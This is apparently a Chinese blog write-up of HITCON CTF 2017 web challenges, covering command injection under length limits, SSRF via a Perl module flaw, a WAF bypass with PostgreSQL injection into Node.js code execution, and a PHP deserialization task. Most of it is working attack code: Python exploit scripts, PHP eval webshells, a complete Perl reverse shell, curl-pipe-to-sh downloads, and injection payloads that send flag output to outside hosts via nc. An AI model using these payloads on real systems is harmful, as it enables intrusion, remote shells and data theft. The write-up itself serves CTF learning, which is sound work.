Hitcon CTF 2017 Web Write-up

XCTFtime

Posted by Xiaoxi on November 8, 2017

Hitcon2017

BabyFirst Revenge

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

构造这样的sh脚本,

curl xxx.xxx>1

这样就能从外部下载一个1文件,而1中内容可由我们可控。另外,为了保证cmd长度小于5,我们可以这样构造,每个请求生成一个文件,然后利用ls把文件名拼接写入文件。

思路参考:http://wonderkun.cc/index.html/?p=524(通过>xx,新建文件。ls >m\ 将文件名以字典序写到一个文件中。sh m*来执行文件。)

a文件内容可以如下:

cur\
l\ \
m\
na\
nb\
nc\
xx.\
xy.\
z\>1

这样sh m*后,会新建一个1文件。1文件内容是我们可控域名下的index.html.那么,我们只需要将index.html写成这样,就能在当前目录下构造一个一句话木马。(7d8fc845c741ce6a72fa592b394cf9f3是依据源码算出的哈希)

echo "<?php eval(\$_REQUEST['XXXX']);?>" > /www/sandbox/7d8fc845c741ce6a72fa592b394cf9f3/2.php

这样,我们就能在http://52.199.204.34/sandbox/7d8fc845c741ce6a72fa592b394cf9f3/2.php得到一个一句话木马。

Payload如下:

#!/usr/bin/python
# -*- coding: utf-8 -*-

import requests


def GetShell():
    url = "http://52.199.204.34/?cmd="
    requests.get("http://52.199.204.34/?reset=1")

    fileNames = ["cur\\", "l\\ \\", "na\\", "nb\\", "nc\\","xx.\\","xy\\","z\\>1"]

    for fileName in fileNames:
        createFileUrl = url + ">" + fileName
        print createFileUrl
        requests.get(createFileUrl)

    getShellUrl=url+"ls>m\\"
    print getShellUrl
    requests.get(getShellUrl)
    getShellUrl = url + "sh m*"
    print getShellUrl
    requests.get(getShellUrl)

    getShellUrl = url + "sh 1"
    print getShellUrl
    requests.get(getShellUrl)

    response=requests.get("http://52.199.204.34/sandbox/7d8fc845c741ce6a72fa592b394cf9f3/2")
    print response.content



if __name__ == "__main__":
    GetShell()

然后,利用蚁剑连接,可以在home目录找到flag在数据库中。

baby1

再连接数据库,获取数据即可。

mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e 'use fl4gdb;select * from this_is_the
_fl4g;'

baby2

其他解法

  1. Orange官方解答
  2. Chybeta的解答
  3. 王一航的解答
  4. https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/

这里总结一下,我们的解法是通过构造一个符合字典序的curl xxx.xx>1来从外部下载一个文件,并sh执行它。这里的域名需要特殊构造,使其符合字典序。

而Orange的思路用到了一个追加的方式,即>>指令。在http://wonderkun.cc/index.html/?p=524这篇文章中,讲到利用ls -t>a来防止指令乱序的问题。但当长度为5个字节时,ls -t>a指令就无法输入了。而且若分为多个文件指令拼接的时候,我们每次只能输入3个字符。(因为>和\需要占去两个字符,另外若要输入一些特殊符号,还会额外占用一个转义符号。)此时,单纯利用>是无法解决字典序问题的,因为空格和->的ascii码太靠前了。但是,如果使用追加功能的话是可以完成的,我们可以先写入ls,再追加 -t>a

这里还有一个特性,就是bash会忽略执行过程中遇到的一行错误。

具体如下:

http://10.211.55.17/?cmd=>ls\
http://10.211.55.17/?cmd=ls>_
此时,_文件内容为
➜  1924cf16182a5279a02c5ffb573daaa4 cat _
_
ls\
再访问
http://10.211.55.17/?cmd=>\ \
http://10.211.55.17/?cmd=>-t\
http://10.211.55.17/?cmd=>\>g
http://10.211.55.17/?cmd=ls>>_(追加文件)
此时,_文件内容
➜  1924cf16182a5279a02c5ffb573daaa4 ls
 \  _  >g  ls\  -t\
➜  1924cf16182a5279a02c5ffb573daaa4 cat _
_
ls\
 \
-t\
>g
_
ls\
如果,我们执行_,可以发现ls -t>g指令会执行,虽然第1、6行会报错。
➜  1924cf16182a5279a02c5ffb573daaa4 sh _
_: 1: _: _: not found
_: 6: _: _: not found
 \  _  g  >g  ls\  -t\
 g文件内容以生成时间逆序写入
 ➜  1924cf16182a5279a02c5ffb573daaa4 cat g
g
_
>g
-t\
 \
ls\

就是通过如上所示的方式,我们可以执行ls -t>g指令。那么,当我们能执行这个指令以后,就和7字节的命令执行限制条件完全相同了。(只要先在_中写入如上所示数据,然后再逆序传入我们要执行的指令,然后执行sh _.这样就把指令写入g文件中,再执行g即可。)

Chybeta的思路和Orange的思路几乎相同,也是曲线救国先写一个ls -t>g指令,再执行。不过,他的十进制技巧和通过rm%20i* sh%20a sh%20i*还是可以学习的。

至于王一航的第一个思路其实也是一样,先写一个ls -t >g指令到文件,然后逆序写入一个base编码后的指令,再通过执行ls -t >g将base64写到一个文件,再执行这个文件,将写一句话指令写入文件c,最后执行c,写入一个webshell。

➜  1924cf16182a5279a02c5ffb573daaa4 cat c
echo '<?php eval($_REQUEST[c]);?>'>c.php%

而他的思路二和我们的思路一样,不再赘述。不过,mysqldump的tip值的记录一下。

 mysqldump --single-transaction -u user -p DBNAME > backup.sql

infosec的思路非常神奇,值的学习。

curl 'http://52.199.204.34/?cmd=>find'
curl 'http://52.199.204.34/?cmd=*%20/>x'

他通过*,成功拼接指令,将find />x成功执行。把所有信息写入x,然后网页端访问一下,就能获得所有硬盘上数据信息。

curl 'http://52.199.204.34/?cmd=>tar'
curl 'http://52.199.204.34/?cmd=>zcf'
curl 'http://52.199.204.34/?cmd=>zzz'
curl 'http://52.199.204.34/?cmd=*%20/h*'

再通过这个指令,将home目录下的数据压缩包保存下来。

cat << EOF >> exploit.php
<?php exec('mysqldump --single-transaction -ufl4444g -pSugZXUtgeJ52_Bvr --all-databases > /var/www/html/sandbox/727479ef7cedf30c03459bec7d87b0f0/dump.sql 2>&1'); ?>
EOF
curl 'http://52.199.204.34/?reset=1'
curl 'http://52.199.204.34/?cmd=>tar'
curl 'http://52.199.204.34/?cmd=>vcf'
curl 'http://52.199.204.34/?cmd=>z'
curl -F file=@exploit.php -X POST 'http://52.199.204.34/?cmd=%2A%20%2Ft%2A'
curl 'http://52.199.204.34/?cmd=php%20z'

先将一个文件上传到临时文件区,再将其压缩到z,最后再解压出来。这样,我们就能在网页端访问这个页面,获得最终的FLAG。

BabyFirst Revenge v2

Orange的题解:https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2017/babyfirst-revenge-v2/exploit.py

这里主要利用的*能执行指令的技巧,逆序写入一个ls -t>g指令。

http://10.211.55.17/?cmd=>dir
http://10.211.55.17/?cmd=>sl
http://10.211.55.17/?cmd=>g\>
http://10.211.55.17/?cmd=>ht-
➜  1924cf16182a5279a02c5ffb573daaa4 ls
dir  g>  ht-  sl  
➜  1924cf16182a5279a02c5ffb573daaa4 *
g>  ht-  sl  
➜  1924cf16182a5279a02c5ffb573daaa4 *>v
➜  1924cf16182a5279a02c5ffb573daaa4 cat v
g>  ht-  sl  
➜  1924cf16182a5279a02c5ffb573daaa4

利用*,取到dir指令,然后dir指令返回g> ht- sl ,最后写入到v中。

http://10.211.55.17/?cmd=>dir
http://10.211.55.17/?cmd=>sl
http://10.211.55.17/?cmd=>g\>
http://10.211.55.17/?cmd=>ht-
http://10.211.55.17/?cmd=*>v
http://10.211.55.17/?cmd=>rev
http://10.211.55.17/?cmd=*v>x
➜  1924cf16182a5279a02c5ffb573daaa4 cat x
ls  -th  >g
➜  1924cf16182a5279a02c5ffb573daaa4

通过rev指令将指令逆序写入x。这样就获得了ls -th >g后面就简单了,不再赘述。具体可以看Orange的官方WP。(*v,先取到rev,再取到v,即将v反向。)

##

SSRFme

源码:

<?php 
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 
    @mkdir($sandbox); 
    @chdir($sandbox); 

    $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
    $info = pathinfo($_GET["filename"]); 
    $dir  = str_replace(".", "", basename($info["dirname"])); 
    @mkdir($dir); 
    @chdir($dir); 
    @file_put_contents(basename($info["basename"]), $data); 
    highlight_file(__FILE__); 

可以读取etc/passwd

import requests

url = 'http://13.115.136.15/'

exp = '/etc/passwd'
payload = "?url={0}&filename=data"
see = 'sandbox/7d8fc845c741ce6a72fa592b394cf9f3/data'

req = requests.Session()


r = req.get(url+payload.format(exp))
# print r.content

r = req.get(url+see)
print r.content
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
orange:x:1001:1001:,,,:/home/orange:/bin/bash

但是,没什么信息。读取一下根目录信息:

./
../
bin/
boot/
dev/
etc/
flag
home/
initrd.img
initrd.img.old
lib/
lib64/
lost+found/
media/
mnt/
opt/
proc/
readflag
root/
run/
sbin/
snap/
srv/
sys/
tmp/
usr/
var/
vmlinuz
vmlinuz.old
www/

发现根目录,存在readflag和flag。但是,flag文件,www-data用户无法读取flag

读取一下readflag二进制文件,拉进IDA pro,f5后,源码如下所示:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *stream; // ST08_8@1
  int result; // eax@1
  __int64 v5; // rsi@1
  char ptr; // [sp+10h] [bp-410h]@1
  __int64 v7; // [sp+418h] [bp-8h]@1

  v7 = *MK_FP(__FS__, 40LL);
  memset(&ptr, 0, 0x400uLL);
  stream = fopen("/flag", "r");
  fread(&ptr, 1uLL, 0x400uLL, stream);
  fclose(stream);
  puts(&ptr);
  result = 0;
  v5 = *MK_FP(__FS__, 40LL) ^ v7;
  return result;
}

那么,现在的思路就很明确了,就是通过某种方式执行readflag来读取flag。

然后,读取了arp和tcp、udp情况,发现内网没有啥可用的信息,也没有一些常见的SSRF可攻击的服务,陷入瓶颈。

可以读取/usr/bin/GET文件,发现是一个perl脚本,怀疑perl脚本存在漏洞,可导致任意命令执行。

比赛时就卡在了这,没做出来。赛后,看了Orange的题解,思路是对的。

Idea

  • CVE-2016-1238 (But the latest version of Ubuntu 17.04 in AWS is still vulnerable)
  • Perl lookup current directory in module importing
  • Perl module URI/lib/URI.pm#L136 will eval if there is a unknown scheme

题目的考点就是CVE-2016-1238.在URI/lib/URi.pm 136行,有一个eval "require $ic";语句,当解析遇到一个未定义的协议时,会require这个未知协议。而require的时候,perl脚本会自动搜索当下目录和perl库目录来导入以.pm结尾的模块。

漏洞代码如下:

    $ic = "URI::$scheme";  # default location
    # turn scheme into a valid perl identifier by a simple transformation...
    $ic =~ s/\+/_P/g;
    $ic =~ s/\./_O/g;
    $ic =~ s/\-/_/g;
    no strict 'refs';
    # check we actually have one for the scheme:
    unless (@{"${ic}::ISA"}) {
        if (not exists $require_attempted{$ic}) {
            # Try to load it
            my $_old_error = $@;
            eval "require $ic";
            die $@ if $@ && $@ !~ /Can\'t locate.*in \@INC/;
            $@ = $_old_error;
        }
        return undef unless @{"${ic}::ISA"};
    }

所以,我们先找一个perl的后门:

#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";

# Where to send the reverse shell.  Change these.
my $ip = '127.0.0.1';
my $port = 1234;

# Options
my $daemon = 1;
my $auth   = 0; # 0 means authentication is disabled and any 
        # source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious
$0 = "[httpd]";

# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
    cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

    if ($auth) {
        unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
            cgiprint("ERROR: Your client isn't authorised to view this page");
            cgiexit();
        }
    }
} elsif ($auth) {
    cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address.  Denying access");
    cgiexit(0);
}

# Background and dissociate from parent process if required
if ($daemon) {
    my $pid = fork();
    if ($pid) {
        cgiexit(0); # parent exits
    }

    setsid();
    chdir('/');
    umask(0);
}

# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
    cgiprint("Sent reverse shell to $ip:$port");
    cgiprintpage();
} else {
    cgiprint("Couldn't open reverse shell to $ip:$port: $!");
    cgiexit();    
}

# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print
sub cgiprint {
    my $line = shift;
    $line .= "<p>\n";
    $global_page .= $line;
}

# Wrapper around exit
sub cgiexit {
    cgiprintpage();
    exit 0; # 0 to ensure we don't give a 500 response.
}

# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
    print "Content-Length: " . length($global_page) . "\r
Connection: close\r
Content-Type: text\/html\r\n\r\n" . $global_page;
}

然后,将其部署到服务器上(反弹ip改为我们服务器的ip)。

http://10.211.55.17/index.php?filename=URI/moxiaoxi.pm&url=http://xx.xx.xx.x/backdoor.txt
└── sandbox
    └── 1924cf16182a5279a02c5ffb573daaa4
        └── URI
            └── moxiaoxi.pm

这样就在网站上新建了一个URI目录,目录下有moxiaoxi.pm文件,文件内容为我们的backdoor。

在服务器上监听端口,再访问10.211.55.17/index.php?filename=xxx&url=moxiaoxi://mo-xiaoxi.github.io就能获得一个反弹shell。这里访问moxiaoxi://mo-xiaoxi.github.io时,moxiaoxi是未定义模块,所以会自动搜索并加载URI中的moxiaoxi.pm 模块。

 ➜  html nc -w 1 -k -lvv 1235
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::1235
Ncat: Listening on 0.0.0.0:1235
Ncat: Connection from 13.115.136.15.
Ncat: Connection from 13.115.136.15:39746.
 03:10:35 up 2 days,  9:35,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
Linux ip-172-31-28-110 4.4.0-1039-aws #48-Ubuntu SMP Wed Oct 11 15:15:01 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/
/usr/sbin/apache: 0: can't access tty; job control turned off
$ ./readflag
hitcon{Perl_<3_y0u}

其他解法

参考ricterz的博客,其知识点是,另外一个命令注入,是perl的feature,在open下可以执行命令。

test cat test.pl
open(FD, "whoami|");
print <FD>;test perl test.pl
moxiaoxi
➜  test

在open下,如果perl的第二个参数(path)可控,我们就能进行任意代码执行。

而GET对协议处理部分调用的是 /usr/share/perl5/LWP/Protocol下的各个pm模块,通过查询可以发现在file.pm中,path参数是完全可控的。

源码如下:

...
# URL OK, look at file
my $path  = $url->file;

# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
              "File `$path' does not exist");
}
...
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
    HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
           "Cannot read file '$path': $!");
...

这里多了一个限制条件,就是file.pm会先判断文件是否存在。若存在,才会触发最终的代码执行。

test GET 'file:id|'test touch 'id|'test GET 'file:id|'
uid=1000(moxiaoxi) gid=1000(moxiaoxi) groups=1000(moxiaoxi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

那么,最终的payload就很简单了。

1. 新建一个bash%20-c%20/readflag|文件
http://13.115.136.15/?url=xxx&filename=|/readflag
2. open文件,并触发命令执行,执行readflag,并将数据写入flag
http://13.115.136.15/?url=file:|/readflag&filename=flag
3. 访问sandbox下的flag,获得flag
http://13.115.136.15/sandbox/5d4ef0aebfb2070eb64c89b752d7ce89/flag

当然,既然可以命令执行,你也可以下载一个脚本,然后sh执行,如@Paul Axe写的WP:

curl 'http://13.115.136.15/?url=a&filename=|curl+yourhost|sh';curl 'http://13.115.136.15/?url=file:|curl+yourhost|sh' #HITCON SSRFme writeup

参考:

  1. https://github.com/orangetw/My-CTF-Web-Challenges/tree/master
  2. https://twitter.com/Paul_Axe/status/927669724439293953
  3. https://ricterz.me/posts/HITCON%202017%20SSRFme
  4. https://github.com/sorgloomer/writeups/blob/master/writeups/2017-hitcon-quals/ssrfme.md

SQL so Hard

#!/usr/bin/node

/**
 *  @HITCON CTF 2017
 *  @Author Orange Tsai
 */

const qs = require("qs");
const fs = require("fs");
const pg = require("pg");
const mysql = require("mysql");
const crypto = require("crypto");
const express = require("express");

const pool = mysql.createPool({
    connectionLimit: 100, 
    host: "localhost",
    user: "ban",
    password: "ban",
    database: "bandb",
});

const client = new pg.Client({
    host: "localhost",
    user: "userdb",
    password: "userdb",
    database: "userdb",
});
client.connect();

const KEYWORDS = [
    "select", 
    "union", 
    "and", 
    "or", 
    "\\", 
    "/", 
    "*", 
    " " 
]

function waf(string) {
    for (var i in KEYWORDS) {
        var key = KEYWORDS[i];
        if (string.toLowerCase().indexOf(key) !== -1) {
            return true;
        }
    }
    return false;
}

const app = express();
app.use((req, res, next) => {
   var data = "";
   req.on("data", (chunk) => { data += chunk})
   req.on("end", () =>{
       req.body = qs.parse(data);
       next();
   })
})


app.all("/*", (req, res, next) => {
    if ("show_source" in req.query) {
        return res.end(fs.readFileSync(__filename));
    }
    if (req.path == "/") {
        return next();
    }

    var ip = req.connection.remoteAddress;
    var payload = "";
    for (var k in req.query) {
        if (waf(req.query[k])) {
            payload = req.query[k];
            break;
        }
    }
    for (var k in req.body) {
        if (waf(req.body[k])) {
            payload = req.body[k];
            break;
        }
    }

    if (payload.length > 0) {
        var sql = `INSERT INTO blacklists(ip, payload) VALUES(?, ?) ON DUPLICATE KEY UPDATE payload=?`;
    } else {
        var sql = `SELECT ?,?,?`;
    }
    
    return pool.query(sql, [ip, payload, payload], (err, rows) => {
        var sql = `SELECT * FROM blacklists WHERE ip=?`;
        return pool.query(sql, [ip], (err,rows) => {
            if ( rows.length == 0) {
                return next();
            } else {
                return res.end("Shame on you");
            }
            
        });
    });

});


app.get("/", (req, res) => {
    var sql = `SELECT * FROM blacklists GROUP BY ip`;
    return pool.query(sql, [], (err,rows) => {
        res.header("Content-Type", "text/html");
        var html = "<pre>Here is the <a href=/?show_source=1>source</a>, thanks to Orange\n\n<h3>Hall of Shame</h3>(delete every 60s)\n";
        for(var r in rows) {
            html += `${parseInt(r)+1}. ${rows[r].ip}\n`;

        }
        return res.end(html);
    });

});

app.post("/reg", (req, res) => {
    var username = req.body.username;
    var password = req.body.password;
    if (!username || !password || username.length < 4 || password.length < 4) {
        return res.end("Bye");
    } 

    password = crypto.createHash("md5").update(password).digest("hex");
    var sql = `INSERT INTO users(username, password) VALUES('${username}', '${password}') ON CONFLICT (username) DO NOTHING`;
    return client.query(sql.split(";")[0], (err, rows) => {
        if (rows && rows.rowCount == 1) {
            return res.end("Reg OK");
        } else {
            return res.end("User taken");
        }
    });
});

app.listen(31337, () => {
    console.log("Listen OK");
});


这个题实验室的@wdeil写了一个非常详细的分析,我就不再多写了。后面如果能够征得他的同意,再xxxx.

法一:

大题思路是这样:

这个题目实现了一个WAF,它的实现过程中会有一个Mysql插入和取出的操作。

它先对我们请求包中的 querystring 和 body 内容进行过滤,如果发现关键字,则将该键传⼊入的值赋给 payload ,然后检查 payload 的⻓长度,如果大于0,则将 payload 和对应的 ip 插⼊入MySQL 数据库,然后再⽤回调函数检查 MySQL 数据库中你的 ip 是否存在被拦截的 payload ,如果有,这将这个请求结束,否则继续进行下⼀一步。

而MySQL 对于每次连接有最⼤包长度的限制,通过 max_allowed_packet 的配置来实现。所以,我们可以insert一个长度特别大的数据,这样insert语句就会被截断。最终,数据库中就不会有恶意payload信息,就绕过了waf。

后面就是一个前段时间Nodejs第三方库pg出得RCE,可以@Phithon博客上的node.js + postgres 从注入到Getshell文章。

最终payload:

from random import randint
import requests

# payload = "union"
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/readflag|nc orange.tw 12345`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*1024*1024*16)


username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {
            'username': username+payload, 
                'password': 'AAAAAA'
                }
print 'ok'
r = requests.post('http://13.113.21.59:31337/reg', data=data);
print r.content

法二:

主要思路是通过 Postgre 的查询语法的特性绕过 WAF 的过滤。

https://www.postgresql.org/docs/9.6/static/sql-syntax-lexical.html

A variant of quoted identifiers allows including escaped Unicode characters identified by their code points. This variant starts with U& (upper or lower case U followed by ampersand) immediately before the opening double quote, without any spaces in between, for example U&”foo”. (Note that this creates an ambiguity with the operator &. Use spaces around the operator to avoid this problem.) Inside the quotes, Unicode characters can be specified in escaped form by writing a backslash followed by the four- digit hexadecimal code point number or alternatively a backslash followed by a plus sign followed by a six-digit hexadecimal code point number.

If a different escape character than backslash is desired, it can be specified using the UESCAPE clause after the string

  1. Postgres ⽀持将16进制的值转为 Unicode 字符;
  2. 在将 16 进制的值转为 Unicode 字符的时候⽀支持自定义转义符,即可以将默认的 \ 换成其他字符。
select 'test' as U&"\0031\0032";//test
select 'test' as U&"!0031!0032" uescape '!';//test

这样就可以将关键字使用16进制转Unicode的方式来绕过,然后使用\t来代替空格。

from random import randint
import requests

payload = """','')returning(1)as\tU&"!005c'!002f!002a"uescape'!',(2)as\tU&"!005c'!002a!002f-(a=`child_process`)!002f!002a"uescape'!',(3)as\tU&"!005c'!002a!002f-(b=`!002freadflag|nc!0020vg.wdeil.xyz!002065502`)!002f!002a"uescape'!',(4)as\tU&"!005c'!002a!002f-console.log(process.mainModule.require(a).exec(b))]=1!002f!002f"uescape'!'; """

username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {
            'username': username+payload, 
            'password': 'AAAAAA'
        }
print 'ok'
r = requests.post('http://13.113.21.59:31337/reg', data=data);
print r.content

参考:

  1. https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2017/sql-so-hard/exploit.py
  2. https://github.com/sorgloomer/writeups/blob/master/writeups/2017-hitcon-quals/sql-so-hard.md
  3. wdeil的解析

PHP^H Master PHP in 2017

源码:

<?php 
    $FLAG    = create_function("", 'die(`/read_flag`);'); 
    $SECRET  = `/read_secret`; 
    $SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);  
    @mkdir($SANDBOX); 
    @chdir($SANDBOX); 

    if (!isset($_COOKIE["session-data"])) { 
        $data = serialize(new User($SANDBOX)); 
        $hmac = hash_hmac("sha1", $data, $SECRET); 
        setcookie("session-data", sprintf("%s-----%s", $data, $hmac)); 
    } 

    class User { 
        public $avatar; 
        function __construct($path) { 
            $this->avatar = $path; 
        } 
    } 

    class Admin extends User { 
        function __destruct(){ 
            $random = bin2hex(openssl_random_pseudo_bytes(32)); 
            eval("function my_function_$random() {" 
                ."  global \$FLAG; \$FLAG();" 
                ."}"); 
            $_GET["lucky"](); 
        } 
    } 

    function check_session() { 
        global $SECRET; 
        $data = $_COOKIE["session-data"]; 
        list($data, $hmac) = explode("-----", $data, 2); 
        if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) 
            die("Bye"); 
        if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) ) 
            die("Bye Bye"); 

        $data = unserialize($data); 
        if ( !isset($data->avatar) ) 
            die("Bye Bye Bye"); 
        return $data->avatar; 
    } 

    function upload($path) { 
        $data = file_get_contents($_GET["url"] . "/avatar.gif"); 
        if (substr($data, 0, 6) !== "GIF89a") 
            die("Fuck off"); 
        file_put_contents($path . "/avatar.gif", $data); 
        die("Upload OK"); 
    } 

    function show($path) { 
        if ( !file_exists($path . "/avatar.gif") ) 
            $path = "/var/www/html"; 
        header("Content-Type: image/gif"); 
        die(file_get_contents($path . "/avatar.gif")); 
    } 

    $mode = $_GET["m"]; 
    if ($mode == "upload") 
        upload(check_session()); 
    else if ($mode == "show") 
        show(check_session()); 
    else 
        highlight_file(__FILE__); 

一开始以为是可以哈希扩展,伪造一个序列化数据来反序列化得到admin类。但是,这里hmac中,$SECRET在后面,所以无法哈希扩展。

解答:

Idea

  • PHP do the de-serialization on PHAR parsing
  • PHP assigned a predictable function name \x00lambda_%d to an anonymous function
  • Break shared VARIABLE state in Apache Pre-fork mode

后续补充,最近实在太忙。:(

参考:

  1. https://github.com/php/php-src/blob/238916b5c9b7d09a711aad5656710eb4d1a80518/ext/phar/phar.c#L609

  2. https://rdot.org/forum/showthread.php?t=4379